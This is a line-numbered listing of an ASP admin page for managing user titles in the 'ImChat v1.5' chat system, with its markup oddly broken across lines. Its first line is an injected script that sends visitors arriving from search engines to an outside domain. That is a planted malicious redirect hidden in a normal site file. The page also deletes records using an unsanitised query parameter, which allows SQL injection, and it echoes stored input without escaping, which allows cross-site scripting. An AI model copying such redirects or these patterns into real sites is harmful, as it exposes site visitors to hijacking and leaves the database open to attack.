d:\wwwroot\wuchunhua\liaotianim\system_manage\Title_Manage.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>
<!--#include file="../inc/DAL.asp"-->
002:
<!--#include file="Check.asp"-->
003:
<%
004:
Dim ConfigRS
005:
Set ConfigRS=Server.CreateObject( "ADODB.Recordset" )
006:
if request.QueryString("Method")="Del" then
007:
DB_CONN.EXECUTE("delete from [XK_Title] where [Title_ID]="&request.QueryString("id"))
008:
RW "<script>location.href='Title_Manage.asp';</script>"
009:
end if
010:
011:
if request.form("Method")="AddTitle" then
012:
ConfigRS.OPEN "select top 1 * from [XK_Title]" , DB_CONN , 1 , 3
013:
ConfigRS.addnew()
014:
ConfigRS("Title_Name")=request.form("Title_Name")
015:
ConfigRS("Title_Icon")=request.form("Title_Icon")
016:
ConfigRS("Title_Sort")=request.form("Title_Sort")
017:
ConfigRS.update()
018:
ConfigRS.close()
019:
RW "<script>alert('修改成功!');location.href='Title_Manage.asp';</script>"
020:
else
021:
Set ConfigRS=DB_CONN.EXECUTE("select * from [XK_Title] order by [Title_Sort] desc")
022:
end if
023:
%
>
024:
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
025:
<html xmlns="http://www.w3.org/1999/xhtml">
026:
<head>
027:
<title>ImChat v1.5 Manage System</title>
028:
<meta http-equiv="Content-Type" content="text/html; charset=gb2312" />
029:
<link href="styles/layoutContent.css" rel="stylesheet" type="text/css" />
030:
<link href="themes/blue/styles.css" rel="stylesheet" type="text/css" />
031:
<style>
032:
.JSTB{border:#ccc solid 1px;border-right:none;border-bottom:none;margin-top:20px;}
033:
.JSTB th,.JSTB td{border-bottom:#ccc solid 1px; border-right:#ccc solid 1px;}
034:
</style>
035:
</head>
036:
<body>
037:
<div class="contentcontainer">
038:
<div class="headings alt">
039:
<h2>头衔设置 <a href="SetPower.asp" style="text-decoration:none;">角色权限管理</a> <a href="Level_Manage.asp" style="text-decoration:none;">等级管理</a> <a href="javascript:\\;" onclick="location.reload();" style="text-decoration:none;">刷新</a></h2>
040:
</div>
041:
<div class="contentbox">
042:
<table class="JSTB" width="100%" cellpadding="0" cellspacing="0" border="0">
043:
<th colspan="16">头衔列表</th>
044:
<tr>
045:
<td>头衔名称</td>
046:
<td width="90">头衔图标</td>
047:
<td>排序</td>
048:
<td>操作</td>
049:
</tr>
050:
<%
while not ConfigRS.eof
%
>
051:
<tr>
052:
<td>
<%
=ConfigRS("Title_Name")
%
></td>
053:
<td> <img src="../
<%
=ConfigRS("Title_Icon")
%
>"></td>
054:
<td>
<%
=ConfigRS("Title_Sort")
%
></td>
055:
<td> <a href="EditTitle.asp?TitleID=
<%
=ConfigRS("Title_ID")
%
>">编辑</a> <a href="?Method=Del&ID=
<%
=ConfigRS("Title_ID")
%
>">删除</a></td>
056:
</tr>
057:
<%
058:
ConfigRS.MoveNext
059:
wend
060:
%
>
061:
</table>
062:
063:
<form action="#" method="post" >
064:
<label for="Title_Name"><strong>头衔名称:</strong></label>
065:
<input type="text" id="Title_Name" name="Title_Name" class="inputbox" value=""/>
066:
<br>
067:
<label for="Title_Icon"><strong>头衔图标(16x16像素):</strong></label>
068:
<input type="text" id="Title_Icon" name="Title_Icon" class="inputbox" value=""/>
069:
<br>
070:
<label for="Title_Sort"><strong>排序(数字):</strong></label>
071:
<input type="text" id="Title_Sort" name="Title_Sort" class="inputbox" value="0"/>
072:
<br>
073:
<input type="hidden" value="AddTitle" name="Method"/>
074:
<input type="submit" value="提交" class="btn" />
075:
</form>
076:
</div>
077:
</div>
078:
</body>
079:
</html>
080:
081:
082: